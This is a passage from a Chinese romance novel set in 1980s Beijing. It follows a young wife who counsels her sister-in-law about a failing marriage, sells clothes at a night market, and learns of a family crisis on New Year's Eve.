苗秀秀替婆婆说话,“妈也是为你好,她不希望你和姐夫离婚,但我周北冀都觉得,要是你俩真过不下去了,早点离婚还能及时止损,拖长了对谁都不好。”
周湘南默然不语。
“姐夫晚上还碰你吗?”苗秀秀又问了一个私密问题。周湘南抬头看着她,表情一滞,“你问这干嘛?”
苗秀秀说:“我觉得,像姐夫那样忠厚老实的人,如果真是身体或者精神出轨了,那他肯定是不会再想碰你的。只要他还想和你同·房,那他就是没出轨。”
周湘南哼了一声,“这可说不准,男人坏着呢,脚踩两只船也不是没有。”
“姐夫到底碰不碰你了?”苗秀秀还是执着于这个话题。周湘南犹豫再三,说:“两个多月没有了。”
苗秀秀皱了皱眉,“那这就危险了,很大概率上他已经对那个女技术员产生好感……如果这样的暧昧拉扯再继续下去,姐夫很可能会动摇的,人的感情其实很脆弱,你这边松一松,那个女人紧一紧,姐夫就被她拉过去了,但要是你这边抓紧了,姐夫肯定还是会回来的。”
周湘南又沉默,思考着苗秀秀的话。因为前夫的事,她心里始终有根刺,以至于和现在的丈夫没法好好相处,她总是在心里拿他和那个人比较,卢江宇对她虽然也好,但是她感觉不到当初那种爱情的悸动。
那一次离婚,她不仅深深地伤害了别人,也令自己元气大伤,好几年都没缓过来。
苗秀秀察言观色,知道她有点动摇了,主动建议,“姐夫不主动碰你,你可以主动去碰他呀,反正你俩都是夫妻了,之前还怀过孩子,没什么害羞拉不下脸的,只要你不想离,总有办法的。”
“你就是这么搞定小北的?”周湘南淡淡一笑。这个秘密她一直很想知道,之前还那么固执、对媳妇嫌弃得不要不要的,小弟是怎么一步步沦陷在苗秀秀的陷阱里的?从她的闺蜜方护士发回来的那些情报看,小俩口刚结婚那半年过得并不好,是在夏天的时候才开始如胶似漆。
“那倒没有,我和他之间还是他主动的多,刚结婚那会他也不怎么理我的,但我还是会找他说话、经常做好吃的给他吃,他就渐渐喜欢我了。”几次下来,苗秀秀已经熟练掌握了皮笑肉不笑的技巧。
周湘南也笑了,凭她对小弟的了解,小弟那种性格、脾气,不可能为了几口吃的就去接受一个女人,苗秀秀这个狡猾的丫头,避重就轻不谈实质。
“对男人,没有必要太客气也没有必要太害羞,有时候你直接一点,他们还更容易接受。”
“所以你用熨斗把小北烫伤了,就是因为不想和他亲热吧?”
“谁让他像只狗一样啃人家,不听话还不得电熨斗伺候。”
说到这里,两个女人都笑起来。
苗秀秀愉快地跑下楼,看到周北冀站在楼梯口眼巴巴看着,一看到自己,他脸上那种担心的表情瞬间消失了。
苗秀秀加快脚步,索性从楼梯上奔下来,扑进周北冀怀里,和他姐说了一车话,她都说累了,亟需他安慰。
“我姐没为难你吧?”自从她上楼,他担心死了,生怕她和他姐起冲突。他姐那种高傲的性子,又和她有矛盾,两人万一一言不合吵起来,那才叫难看。
“没,她挺和气的。”
“你没挤兑我姐吧?”周北冀也心疼姐姐,媳妇的巧嘴什么话都敢讲,万一戳到他姐痛处,也怪不落忍的。
周北冀永远也忘不了,在那个动乱年代,才十四五岁的姐姐偷偷带着十岁不到的他和小妹扒火车去千里之外的劳改农场看望父母。小孩子没钱,路上饥一顿饱一顿,偶尔买来的食物姐姐都是让他和小妹先吃,等他们吃饱了自己才吃。结婚的时候,也是姐姐领着苗秀秀去买结婚的衣服,所以姐姐在他心里永远是姐姐。
“说哪的话,我挤兑她干嘛,我还亲自下厨给她做了一碗红糖鸡蛋醪糟呢。”
“那就好。妈留我们吃晚饭,我知道你想回家吃,就推辞了,咱俩现在就回去吧。”周北冀搂住她,宠溺地轻抚她头发,低头吻了吻她。
周湘南从房间出来,走到楼梯转角,看到的就是这个情景。难怪方护士每次和她提起他们小俩口都是一副羡慕嫉妒恨的语气,苗秀秀太会撒娇,小弟又太宠,他俩这样的感情,谁看着不眼热。
沈芬玉看到女儿从楼上下来,赶紧迎上去,关切地问:“你中午没吃饭,现在饿不饿?我让小张给你做炸酱面。”
“不用了,妈,秀秀给我做了一碗红糖鸡蛋醪糟,我刚吃下去,现在不饿。”周湘南和苗秀秀谈话过后,心情好了一点,气色看起来也温和了。
沈芬玉点了点头,拉着女儿的手想再和她谈谈。
回到家里,苗秀秀拉着周北冀一起包包子和饺子,一盖帘饺子足够他俩吃了,包子多包几个,可以给周北冀带几个到学校,剩下的放冰箱里冻起来慢慢吃。
“你都跟我姐说什么了?”周北冀捻着手里的包子褶,漫不经心和媳妇闲聊的同时,还不忘记看两眼电视。电视里演的是港剧《京华春梦》,女主角和《万水千山总是情》一样,都是汪明荃。
“就问问她和姐夫的事,大姐应该不会再提离婚了。”苗秀秀把包好的包子放到盖帘上。
“真的?”
“差不多吧,但也不能保证,关键看大姐想不想挽回这段婚姻,想挽回的话还是有机会的,要是她不想,那估计这回的坎儿他俩过不去。”
“你怎么知道?”周北冀的注意力转到苗秀秀这边。
“具体的我就不说了,反正这次是他俩婚姻的关键点,只要大姐一松手,姐夫很可能就越界了。”
“那你是怎么劝的?”
“我跟她说,要么你把前夫、那个陕北农民领进城,和姐夫离婚跟他复婚,要么你和姐夫继续过日子,她不选前者只能选后者了,总不能两个男人她一个都不要吧。”
“哈——”周北冀干笑一声,还当她能说出什么大道理,原来就是这,“这叫什么逻辑?谁说她和姐夫离婚就得和前夫复婚,她就不能一个人过,或者再找一个?”
苗秀
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秀反驳他,“你才没有逻辑,她的心病不除,离婚再找一个男人,不等于是目前这段婚姻的重复?她和姐夫过不好,不就是因为心里还没忘记以前那个男人?你姐继承了你们周家冷酷的基因,她哪怕心里再忘不了,也不可能回头去和前夫复婚,她的身份和地位都不允许,所以她没有第二条路可选,只能和姐夫和好。我实际上就是告诉她这一点,离婚,那就是一辈子一个人过,永远不沾男人,再婚除非是和她心里爱的那个人,不然的话都是重复现在的婚姻。”
这么一说,周北冀就想通了,觉得她很有道理,“离婚了一个人过的确是不行,她还不到三十,总得成个家,不然将来怎么办。”
“谁说不是呢,她那个农民前夫没准早就再婚了,乡下人看中后嗣,除非穷的丑的懒的娶不上媳妇,不然都会再娶,以前我们村有个男人,老婆才死了不到一个月,就和村里的寡妇勾搭上了,听说在他老婆还没咽气的时候,他就已经惦记上那个寡妇了。别看你现在对我这样,我要是哪天死了,不出两个月你就会再找的。”
苗秀秀用沾着面的手指在周北冀脸上轻轻戳了一下。周北冀挡开她的手,眉头皱着,“说着说着扯我干嘛?”
苗秀秀这才不闹他,说:“没有哪个女人不渴望爱和被爱,大姐就是以前被前夫宠爱过,所以她才忘不了,现在的姐夫对她那么好,她再找也未必能找到这么疼她的男人,她只要稍微想想,就会想明白的。不是说一个人不能过,这个世界谁离了谁不能活?婚姻到最后不过就是陪伴,除非她有孤独终老的决心。”
“这么说就通了。”周北冀越来越佩服自己小媳妇,小脑袋瓜子里总是有层出不穷的想法。
晚上,两人继续把饭桌摆在卧室里,一边看电视一边吃火锅,周北冀说,火锅还是多点人吃才热闹,两个人不是不好,总觉得少了点气氛。
“那下回我们把叶三哥和舒华还有程二哥他们都请到家里来吃。”苗秀秀不是不喜欢热闹,但有些特殊的日子,她还是喜欢和周北冀两个人过。
睡觉的时候,周北冀对苗秀秀说,他就快期末考试了,后面的两个星期他要留在学校抓紧时间复习,等考完试放寒假了,他再回家来和她团聚。
“两个星期很快过去了,你好好复习,考得好一点。”苗秀秀不会在这种时候拖他后腿,但是她也不会轻易放过他,既然要有些日子不能见,不把他榨干不算完,反正他吃了那么多羊肉,不想上火就得泄泄火。
睡得迷迷瞪瞪,苗秀秀被隔壁两口子吵架的声音吵醒了,推搡了一下身旁的男人,他早睡熟了,推了三四下才醒过来。
“干嘛?”周北冀最讨厌别人在他睡觉的时候打扰他,深更半夜的,不知道又闹什么。
苗秀秀坐起来,身子往窗口的方向倾过去,“你听,王老师和方护士好像在吵架,你听啊,他们好像提到咱俩了。”
周北冀打着哈欠把她拉回被子里,“你管人家吵不吵,快点睡吧。”
苗秀秀没有睡意,披上外套,跑到窗口去听隔壁吵架。
59. 第五十八章
方护士尖细的声音隔着墙都能听到,她说:“我看你是想儿子想疯了,也不撒泡尿照照自己,你有资格对我指手画脚吗?你除了往老婆肚子里塞孩子,还能塞什么?日子过得扣扣索索,还有脸想要孩子,把孩子生下来继续跟着你吃粗茶淡饭?就你这样的,还嫌我不是贤妻良母?人家古代的男人给三妻四妾披金戴银喝参汤吃燕窝,你给我吃的是什么,就你那点死工资,还想养孩子?”
“孩子是为我一个人生的吗?孩子是祖国的花朵,是夫妻爱情的结晶,我也老大不小的了,想要个孩子、想当爸爸有什么错,古人云,会桃李之芳园,序天伦之乐事,有个孩子承欢膝下,生活才完整和幸福,不然老了以后只能大眼瞪小眼。”
王老师也没让着老婆,引经据典反驳了一大段话,苗秀秀怕站久了着凉,蹑手蹑脚回到床上,不过十来分钟,身上就凉透了,她一进被窝就往丈夫火热的怀抱里钻。
周北冀正睡得香,冷不丁一个冰坨子扎进他怀里,浑身一激灵,意识到是媳妇,双臂一紧,把她圈在怀里。
“有什么好听的,听那么半天。”
苗秀秀把听来的话背了一遍给周北冀听,说:“幸福的家庭都是相似的,不幸的家庭各有各的不幸。王老师和方护士刚好了没几天,又为要孩子的事开始闹了。相比之下,咱俩那点小吵小闹简直不是个事了。”
“咱俩哪里吵过闹过,我每次稍微表示不满,不是很快就被你镇压了,你镇压我的方式还花样百出,我哪回不是听你的。”
这大半年来,目睹身边人的婚姻,对比自己的婚姻,周北冀越来越有清醒的认识,要想日子过得去,就得懂得妥协。
“你听我的不会有错,老话都说,听老婆话的男人能发财。”苗秀秀轻拍着丈夫的背,像哄孩子睡觉一样哄他。
哈哈,周北冀干笑两声,对她的糖衣炮弹不感兴趣,但是对她的肢体语言很感兴趣。
周北冀不在家的日子,苗秀秀给自己赶制了两件冬衣,又用边角料做了一顶贝雷帽,同时也没忘记老公,等彭娜把毛衣织好了以后,她第一时间把毛衣送到周北冀学校,让他贴身穿在军装里。
春节前这段时间她的裁缝店生意火爆,每天都有人上门来做衣服,有做大衣的,也有做棉服和毛料中山装的,苗秀秀和小桂每天从早忙到晚,中午饭都是在店里解决,为了赶工期,连续多日晚上十点以后才回家。
她设计的一款方格呢子大衣很受欢迎,上门的顾客订单不断,她自己忙不过来,和杨澍商量以后,联系高斌,订做了两百件,准备趁着春节前的销售旺季拿到市场上去卖。
周北冀考完试放寒假那天,等了一中午都没见苗秀秀回家,不放心去裁缝店找她。小桂还在店里裁剪衣服,告诉周北冀,秀秀姐到西单的夜市摆摊卖衣服去了。
周北冀只好先骑车回家,到大院门口忽然想,应该去西单夜市看看。大冷天摆摊,也不知道她哪来那么多精神。
说是夜市,实际上就是流动的小摊贩市场,卖各种衣服和生活用品,周北冀把车停在路边,步行进市场。走了没多久就看到苗秀秀拿着个大喇叭,站在椅子上吆喝,身上穿着件黑白格子呢大衣,围巾把脸挡得严严实实,他差点都没认出来。
数九寒天,即便是白天也零下好几度了,苗秀秀倒是不怕冷,呢子大衣外面棉大衣都不穿,但是有了她这个活招牌,小摊位上卖得热火朝天,在她身边帮忙的大概就是杨澍那个叫强子的哥们儿,负责点货和收钱。
周北冀没有上前打扰他们,把大衣领子竖起来,抬手搓了搓被冻红了的耳朵,默默看了苗秀秀一会儿。
这一批顾客走后,好半天没再来其他人。苗秀秀从椅子上跳下来,裹上军大衣,从包里拿出饭盒开始吃饭。早就过了午饭时间,这个时候饭盒里的饭菜早就凉透了。
就在她艰难地咽着冷饭冷菜的时候,一只骨节分明的手递了个白色饭盒过来。抬头一看,竟然是周北冀,苗秀秀惊喜地站了起来,“你怎么来了?”
“给你买的煎饺,趁热吃,别吃那些凉的了,对胃不好。”周北冀把饭盒打开,里面是满满一饭盒热气腾腾的煎饺。
强子原本在收拾衣服摊子,闻到煎饺的香味,也探头过来看,见摊位前站着个高大英俊的军官,问苗秀秀:“这位是?”
“强哥,这是我对象周北冀。”苗秀秀把丈夫介绍给强子。
两个男人握了握手。苗秀秀叫强子和自己一起吃煎饺。
“你考完试了?”苗秀秀吃着热乎乎的煎饺,看着特意来看她的丈夫,心里也热乎乎的,觉得他的样子特别帅。
“昨天下午考完的,今天上午在宿舍简单收拾了一下,我就回了家,等你到中午都没看到你人,我去店里找你,小桂说你在西单这边摆摊。”周北冀随便拿起摊位上的衣服看了看,又放了回去。
自从国家开放夜市,西单、东华门、地安门几个地方的夜市就异常火爆,白天也有不少摊贩摆摊卖衣服,这些衣服多半是从南方倒卖过来的,款式新潮做工一般,苗秀秀的设计本地少见,看起来卖得还挺好。
“生意好吗?”周北冀问。
苗秀秀颇有些得意,“挺好的,我们的衣服供不应求,还有外地过来批发的,一次买好几件,就我身上穿的这件格子大衣,很多人喜欢。”
“天这么冷,你还是要多穿点,别着凉了。”周北冀叮嘱苗秀秀。苗秀秀嗯了一声,抬手握住他耳朵揉了揉,笑着说:“你看你,出来也不戴个帽子,耳朵都冻红了。”
她的手冷得像冰块,还好意思说他,周北冀握住她的手。
站了一会儿,周北冀也就回家去了。苗秀秀吃完最后一个煎饺,喝了一大口水壶里的水。周北冀的军用水壶只能装水不能保温,但是口渴的时候水凉了也能将就。
“你对象不错嘛,还知道来给你送吃的,也和杨澍一样是大院里长大的吧,看着白白净净的。”强子一看到周北冀就猜到他和杨澍一样出身不凡,身上的将校呢大衣是高档羊毛料子,在当时是发给高级别军官穿的。周北冀那么年轻肯定不可能有这么高的军衔,是个二代无疑了。
“他是挺好的,很疼我。”苗秀秀吃饱喝足,脱掉军大衣,拿起喇叭站到椅子上,又开始新一轮吆喝。只要能赚到钱,她不怕吃苦。
一直忙到天黑,盘点清楚一天的流水账,苗秀秀和强子一起把摊位收拾进店面里,店面也就两三平米,勉强能装下摆放衣服摊位的小三轮车。
谢绝了强子一起吃晚饭的邀请,苗秀秀独自顶着寒风骑车回家。虽然身上的棉衣因为夜晚的低温和凛冽的寒风已经快冻透了,她的心却是火热的,尤其是想到回家就能见到周北冀,这份火热就更令她心动了。
回到家的时候已经快八点,周北冀不知道她几点能回家,
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自己先下了面条吃。
“我怕面泡久了会坨成一团,就没给你留,饿了吧,我给你做点吃的?”周北冀替苗秀秀把军大衣挂起来,看着她一层一层解开围巾。
苗秀秀终于脱掉了身上碍事的棉衣棉裤,舒了口气,对他说:“冰箱里有我前几天包好的馄饨,你给我下馄饨吃吧。”周北冀去下馄饨,还顺便给她炒了个青椒鸡蛋、切了一盘卤猪头肉。
吃得津津有味,苗秀秀还给自己倒了一小杯二锅头,滋溜一口喝下去,从胃暖到心,告诉周北冀,就春节前这几天,她和强子赚了两三千块钱,要不是人手不够,还能赚更多。
周北冀听到这个数字,眼睛都瞪圆了,“倒卖服装这么挣钱?怪不得人人都想做生意。”“起早贪黑,赚的都是辛苦钱。这两天天气尤其冷,我的手都长冻疮了,但是我心里美,不怕苦。”苗秀秀只要一想起鼓鼓囊囊的钱袋子,百病全消。
“我们部队上发冻疮膏,回头我给你拿一罐,你每天擦手就不会长冻疮了。”周北冀看着媳妇原本柔软雪白的双手因为冻疮变得红红肿肿的,心里不是滋味,这双手曾带给他无数快乐,他想好好保护它们。
“你试考得怎么样?”苗秀秀也没忘记关心一下丈夫的成绩。
“考得挺好的。”周北冀一直坐在桌子边看着苗秀秀吃饭,看到她一缕乌黑的长发落下来要挡住脸,替她把头发理开。原本冻得红通通的脸被屋子里的暖气一蒸,瓷白瓷白的煞是好看。
苗秀秀心里一热,说:“成绩好的话,你可以继续读研,相信我,以后知识会越来越重要,特别是你们部队上,亟需高精尖军事人才。我们经过十年浩劫,在科学技术这方面落后美国日本这些发达国家很多,你赶上国家大发展的好时候了,一定要抓住机会。”
周北冀眼皮低垂、唇角微挑,带着点笑意看她,“不错嘛,紧跟政策脚步,看来最近没少读书看报。”苗秀秀也不谦虚,“那是,生意人怎么能不了解国家宏观政策呢,我每天一有时间就听广播看报纸,随时掌握各方面动向。”
“那你有没有听说杨澍申请转业的报告交上去以后被打回来了,上面没有批。”周北冀在部队条线的消息一向灵通。杨澍自己都还不知道的事,他先一步知道了。
“没批?为什么不批?他父母不同意?”
“那倒不是,他家里没出面干涉这件事,但是他领导不放他。”
“为什么不放?”苗秀秀想不通了,他一个混闲差的,又不是什么机要部门,领导有什么理由不放他。
“他学历高啊,人又机灵,领导器重他,觉得他将来大有可为。”周北冀也给自己倒了一杯二锅头,陪着她喝了一杯,夹起猪头肉吃下去。
苗秀秀摇头,喝了酒的小脸白里透红,两只眼睛水灵灵会说话,“我看不是,肯定是领导家替自己家闺女看上他了,想收他当女婿。”
“你怎么这么聪明?”周北冀笑了,他倒是听人说起过这事,但是也听说杨澍对他们领导的女儿不感兴趣,一直不松口和那姑娘相处。
“我好歹也在军区大院住了快一年,什么事儿不是门儿清,领导看上下属,想替自己家孩子介绍太正常了,优质资源就那么多,谁不想捷足先登替自己家里着想。你要不是有了我,你也是领导们心中最佳女婿人选。”苗秀秀打了个响指,又调戏般的捏了捏周北冀耳垂。
周北冀笑而不语。
60. 第五十九章
第二天一大早,苗秀秀就迫不及待给杨澍打电话,把从周北冀这里听到的消息传达给他。杨澍还蒙在鼓里,领导收了他的转业申请,但一直没给他回复。
“你听谁说的,消息可靠?”杨澍自己也有情报网,没收到任何这方面的消息。
“我还能听谁说,我家那口子呗。不可靠的消息我会告诉你?”苗秀秀很通透,周北冀的嘴一向很紧,他透的口风基本上十拿九稳。
“我倒是没想到会卡在这里,我一直以为他们征求我爸意见,是我爸不同意,我这些天还一直跟我爸闹意见。”杨澍想想有点后悔,不该和父母闹,父母一向开明,这些年也没怎么干涉过他的选择。
“反正还有半年时间中央才会正式公布裁军的消息,你还有机会。”
“半年?你这又是哪里来的消息?”杨澍对苗秀秀的消息来源持怀疑态度,她一个乡下进城的丫头,就算嫁到了周家,也不至于对政策风向把握得这么准。
洗手间里正在刷牙的周北冀听到苗秀秀的话也是一怔,刷牙的动作也跟着慢了下来。
苗秀秀说溜了嘴,有点懊悔,笑着敷衍,“我公公和我对象大哥、二哥说话的时候我听到的,时间不一定准,我就是随口一说。别说这个了,过完年后,我想亲自去趟广州,参加广交会,你跟我们一起去吧。”
“我哪有时间,我还得上班。”杨澍的工作再不忙也是个工作,他时间没那么自由。
周北冀听到这里,刷牙的手又开始动,漱口之后,拿毛巾擦了擦脸,走到卧室里。
苗秀秀还在打电话,说:“你又不开窍了吧。该同志一贯作风散漫,经常无故旷工,已经不适合继续留在宣传部机关工作,建议将该同志发配地方,支援国家经济建设。”
哈哈哈,杨澍的笑声从话筒那边传来。苗秀秀得意无比,一抬眼看到丈夫那张英俊的脸上阴晴不定的表情,赶紧收敛表情,乱扯两句之后把电话挂了。
“干嘛这副表情?放寒假了也不多笑笑。”苗秀秀走到周北冀面前,捧起他的脸,在他唇上吻了吻。
“你的心是不是太野了?”周北冀没有被她的糖衣炮弹迷惑,反而眉头皱得更紧了。
“那我一个人出差去广州你放心?”
“你和杨澍一起去我更不放心。”
“所以气得脸都不洗了?”苗秀秀指了指周北冀的脸。周北冀没吭声,回洗手间洗脸去了。苗秀秀在一旁看着他,轻抚着他的背,“男子汉大丈夫可不作兴小心眼啊,你要不放心你就跟着一起去,我又不会单独和杨澍去,不是还有高斌彭娜,他们肯定会去广交会。”
“反正你总是有理。”周北冀拿毛巾擦脸。
“我当然有理,行得正坐得端。”苗秀秀把擦脸的雪花膏拧开,抹在指尖上,在他脸上点了几点。
周北冀自己把雪花膏抹匀了,以前他觉得这玩意香喷喷的,男人抹在脸上娘里娘气,北方冬天又干又冷,为了保持水分,都是抹蛤蜊油,但是自从苗秀秀教育他,男人的脸也需要保养他才渐渐接受了。
“人言可畏,你自己心里要有数。”周北冀从大玻璃罐子里挖了点珍珠霜抹在手上,手背对手背涂抹开。从小跟着妈妈姐姐养成的习惯,随时都要保护好手。
“我心里可有数了,趁着这几年赚点钱我要买个四合院,还要给你买辆小车开开。”苗秀秀时时提醒丈夫,赚钱要趁早,眼光要长远,她吃肉也绝不会忘记给他喝汤,有福同享。
“四合院破破烂烂的,有什么好住的。”
“破烂怕什么,修葺修葺拾掇一下不就好了,最主要是位置好呀,都在二环里,将来要是拆迁了那可是一大笔钱。”
“行,你爱怎么着就怎么着吧。”周北冀搂住苗秀秀的腰,下巴蹭她脖子,“今天还出摊吗?”
“出啊,这批进的货还没卖完呢。”苗秀秀去洗手间洗漱。周北冀亦步亦趋跟上她,仍是搂住她不放,手还放得特别是地方。
“就不能陪陪我。”
昨天晚上,她吃了饭没多久就睡下了,等他看完电视剧,她早就睡得沉了,他看她白天那么累,不忍心吵醒她,忍了一晚上什么都没做,本来这些天他为了考试没怎么回家已经憋坏了,放假了还让他继续憋着,他可受不了。
“别急,也就年前这两天了,想想大把的钞票啊,亲爱的,到时候我给你买个礼物,包你满意。”苗秀秀刷好了牙,转过身亲了丈夫一口。
大早上的,周北冀原本没起念头,被她这么一撩拨,心里的火顿时给勾了起来,手直接伸进她棉毛衫里抚摸肌肤,“晚去半小时也没什么。”
苗秀秀无奈地低下头匆匆洗了把脸,也顾不得擦,转过身一脸水淋淋看着他,“你半小时就够了?”“马马虎虎吧。”周北冀抱着媳妇回床上去。
时间仓促,好歹也能吃个囫囵饱,反正他放假了,又很快要过春节,有的是时间跟媳妇耳鬓厮磨。周北冀也不计较那么多,手脚麻利地脱掉苗秀秀身上的衣服,他自己的衣服甚至都没来得及全脱,解决欲望要紧。
不知道是不是憋太久了,他要得又急又狠,苗秀秀后悔答应他,说好了半小时,他足足折腾了一小时。
“用不用我陪你去练摊儿啊?”周北冀早穿好了衣服,像个没事人一样坐在餐桌旁喝豆浆吃早点。
“不用了,你一个大少爷,除了黏我,文不能吆喝武不能码货,去了也白去。”苗秀秀也坐下来吃早饭。狗男人,一大早就把她往死里折腾,害得她全身散了架一样到处都疼。
“脸怎么这么红?”周北冀端详着媳妇的脸。洗脸的时候还白白净净的小脸蛋儿,这会儿怎么红得像个猴屁股?
“还不都怨你,你还有脸说。”苗秀秀嘀咕着。谁家男人一大早就不让人安生,这又不是住在大别墅里,怎么闹怎
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么叫都没人听到,这是拥挤的筒子楼,但凡刚才有邻居从窗前经过,听到他俩的声音,羞都羞死了。
周北冀看她那种悻悻然的表情,心中了然,笑道:“看来是得买个四合院住,不像这里,稍微有个风吹草动一堆人知道。”
“你那是风吹草动吗?”苗秀秀白了他一眼,啃一口油条,“你那明明是旌旗十万斩阎罗,拿出镇压阶级敌人的力气对我——”
“对你什么?”周北冀笑得更厉害了,抬手在她下巴上勾了一下逗她。
“对我一个无辜群众实施不可描述的暴行,行为令人发指。”苗秀秀低头吃豆腐脑。要不是看在他一大早天没亮就跑去食堂排队买她爱吃的豆腐脑和焦圈份上,她一定要弹他脑壳两记爆栗子。
“我想你啊,这么多天了我都没回家,你就不想我?”周北冀看到媳妇水光潋滟的眼睛就想起刚才她在他身下婉转承欢妩媚撩人的样子,恨不得再把她按回床上去。
苗秀秀感觉到他灼灼的目光,终于赏脸扫了他一眼,见他眼巴巴看着自己的那种表情特别像电视里哈巴狗儿看着主人时那种殷切,忍不住揶揄他:“你现在怎么一点高冷范儿都没了?你以前不是挺嘚瑟一个男的吗?人设不能塌呀。”
“什么人设?谁嘚瑟了?”周北冀莫名其妙,不觉得嘚瑟是什么好词。
“你啊,说你呢,我还是喜欢男的酷一点拽一点,就像高仓健那样……昭仓不是跳下去了,唐塔也跳下去了,所以请你也跳下去,你倒是跳啊!跳啊!”苗秀秀模仿电影里坏人的语气,学得惟妙惟肖。
“我跳哪儿去我。我要是跳下去了,你就成没人疼的小寡妇了。”周北冀没好气地揉揉苗秀秀的头顶,头发软软的,摸着很可爱。苗秀秀脸凑近他,亲昵地用鼻子蹭了蹭他鼻子,“别跳啊,我可不能没有你。”
两人现在亲密无间,床上什么事都能做,床下什么话都敢说。
在苗秀秀的活招牌和强子的卖力吆喝下,年前的服装生意火爆,两人一直忙到年三十中午才收摊,盘好了流水账,商量着把钱分了,之前就约好了一人一半,苗秀秀分了小三千。
和强子在路边摊喝了两碗羊肉汤,苗秀秀吃饱喝足骑车直奔友谊商店,准备给周北冀买一双进口皮鞋。之前托杨澍找人换了不少外汇券,这个时候正能派上用场。
和其他商场人潮鼎沸的场面比,友谊商店里人就少多了,苗秀秀在皮鞋柜台前反复挑选,才选中一款满意的男士皮鞋,放在鞋盒里装好了,准备回家给丈夫一个惊喜。
然而,等她买了一堆菜、提着鞋盒兴冲冲回家的时候,周北冀却不在家里。也不知道去了哪里,连个纸条都没留。
没准就是跟他那帮朋友、同学跑出去玩了,苗秀秀没有多想,换了衣服以后就开始打扫卫生,把家里打扫得干干净净,床单被套也都换上干净的,忙完了,天黑了,还是没等到周北冀回来。
61. 第六十章
放心不下,苗秀秀打电话到周家,想问问周北冀是否回去过。接电话的是保姆小张,没等苗秀秀开口询问,小张告诉苗秀秀,家里出事了。
“怎么回事?出什么事了?是不是我家周北冀——”苗秀秀一听这话,顿时慌了,心突突跳得厉害,早上还和周北冀开玩笑说让他往楼下跳,该不会这么乌鸦嘴吧。
“不是不是,三哥没事,是大姐……”小张欲言又止,但忍不了两秒钟又告诉苗秀秀,“听说是大姐夫出轨厂里一个女技术员,两人在办公室那个……被他们厂里人瞧见了。”
“那个是哪个?他俩干啥了?”苗秀秀没听明白,就算是出轨,也不可能在办公室就怎么样吧,人来人往的不怕被人看到?所以小张说的那个,肯定不是通俗意义上理解的那个。
小张涨红了脸,“就是那个呗,我不好意思说。大姐听说以后快气死了,又打又闹说要和姐夫离婚,周伯伯去北戴河开会不在京里,沈阿姨实在没办法,只好打电话给三哥,让他去帮忙劝架。”
“你说清楚,到底是哪个了,拥抱了还是接吻了?”苗秀秀还是觉得得问清楚,不然没法判断这件事的严重性。
“好像是抱,抱在一起了,羞死人,别的我不知道。”小张还是个未嫁的姑娘,说起这些脸皮子臊得慌。
“行了,我知道了,你看好家,我现在就去大姐家。”
苗秀秀穿上外套围好围巾,关了灯匆匆出门。大过年的遇上这种事,年夜饭是吃不成了,只是希望周湘南千万别想不开,不就是个男人么,不值得在一棵树上吊死。
明明周北冀的大哥二哥都回雁京来探亲了,再不济还有两个嫂子,沈芬玉的习惯还是和以前一样,遇到事情最先想到找小儿子,也不想想,这种家务事找男人合适吗,周北冀虽然结了婚,论年纪,也不过是个二十多岁的毛头小伙子,他哪里会处理别人家庭的纠纷。
除夕夜万家灯火,正是一大家人团圆在一起吃年夜饭的时候,马路上到处都是出来放鞭炮的大人孩子。苗秀秀上辈子特别怕遇到放鞭炮,生怕被烟花爆竹炸到,这辈子依然害怕,遇到有小孩在路边放爆竹的,她都躲着走。
凭着记忆,苗秀秀骑车到首钢职工宿舍,找传达室问清楚周湘南家的具体位置,一口气爬上五楼,敲她家的房门。
来开门的是周北冀,看到苗秀秀,他先是诧异,很快也就猜到,自己外出一下午,天黑还没回家,她肯定是等急了,打电话去周家问过以后知道他陪着沈芬玉到他姐家来了。
“外面冷吧,脸都冻红了。”周北冀替苗秀秀拿着她解下来的围巾,放到玄关的柜子上,跟他妈和姐姐说:“妈,秀来了。”
“你到大姐家,也不打给电话给我,天都黑了,我担心你。”苗秀秀看他脱了外套,就知道他肯定在周湘南家待了挺长时间。
沙发上,周湘南低头啜泣,沈芬玉在一旁长吁短叹,姐夫卢江宇则低着头坐在对面闷不吭声,一家人气氛压抑又古怪。
看到苗秀秀进来,周湘南和卢江宇都没说话,只有沈芬玉说了句,秀秀来了。
一时间,苗秀秀也不知道说什么好,“我担心他,打电话到家里,小张说您和他在大姐家。你们都还没吃饭吧,我做饭给你们吃,有什么事情,吃了饭再谈也不迟。”
说话间,她脱了外套,去厨房。
“吃什么吃,谁吃得下。”周湘南心情烦躁到极点。苗秀秀没理她,向周北冀使了个眼色。周北冀会意,对他妈和姐姐说:“妈,大姐,我去帮秀秀打下手。”
沈芬玉下巴抬了一抬,示意周北冀快去,转脸对周湘南说:“秀秀也是好意,都这个点了,你不饿我们还能不饿?天大的事,饭总是要吃的。”
厨房里,苗秀秀从冰箱里随便找了点食材,准备炒几个菜再煮点白粥,就算是谈判吵架,也得吃了饭才有力气去争去吵。
周北冀在一旁洗菜,问她:“小张都跟你说了?”
苗秀秀压低声音,“说了,但也跟没说一样,说姐夫和女技术员在办公室那个被人看到,我知道她说的那个是哪个呀。”
风气保守的年代,就算是偷情也都会背着人,哪有明目张胆在办公室的。
“抱在一起,被姐夫同事看到了。”周北冀悄悄告诉苗秀秀。
苗秀秀嗯了一声,“我猜也差不多,顶多是抱了一下。姐夫没解释吗,为什么要抱那个女的。”
“他说那个女的和家里人吵架心情不好,在他面前哭了,他本想安慰安慰,哪知道对方一下子就抱住了他。”周北冀顿了顿,又说:“你说,这样的解释我姐会信?”
“你呢?你信不信?”苗秀秀问周北冀。
周北冀冷哼一声,“我也不信,男女之间那点事,一个巴掌拍不响,他顶多就是没那个贼胆儿,可不代表没那个贼心。”
“有贼心,但没付诸行动,抓不到把柄就不能叫出轨啊。人这种思想和情感都很复杂的动物,光是在心里想想,并不犯法。”苗秀秀客观地说。
周北冀把洗好的菜交给她,好整以暇看着她,“照你这么说,精神出轨就不叫出轨了?”
苗秀秀一边刮鱼鳞,一边说:“我可没这么说,我的意思是,没有抓到身体出轨的切实证据,判定对方精神出轨,并不是容易的事,一时的心猿意马并不能说明精神已经出轨。姐夫说的如果是假的,那他不值得原谅,我支持大姐离婚,但如果他说的是真的呢,是那个女的主动投怀送抱,他一时措手不及,恰好又被人撞见。”
“那你什么意见?”周北冀看到篮子里有土豆,选了几个拿出来削皮。他记得他姐喜欢吃青椒炒土豆丝。
“还是要问清楚,想不想过了,不想过就离,成全彼此,想过的话,这回就放他一马以观后效,她这边逼得急了,姐夫可就彻底跑人家那边去了。”苗秀秀把清理好的鲫鱼放到油锅里,准备做一道红烧鲫鱼。
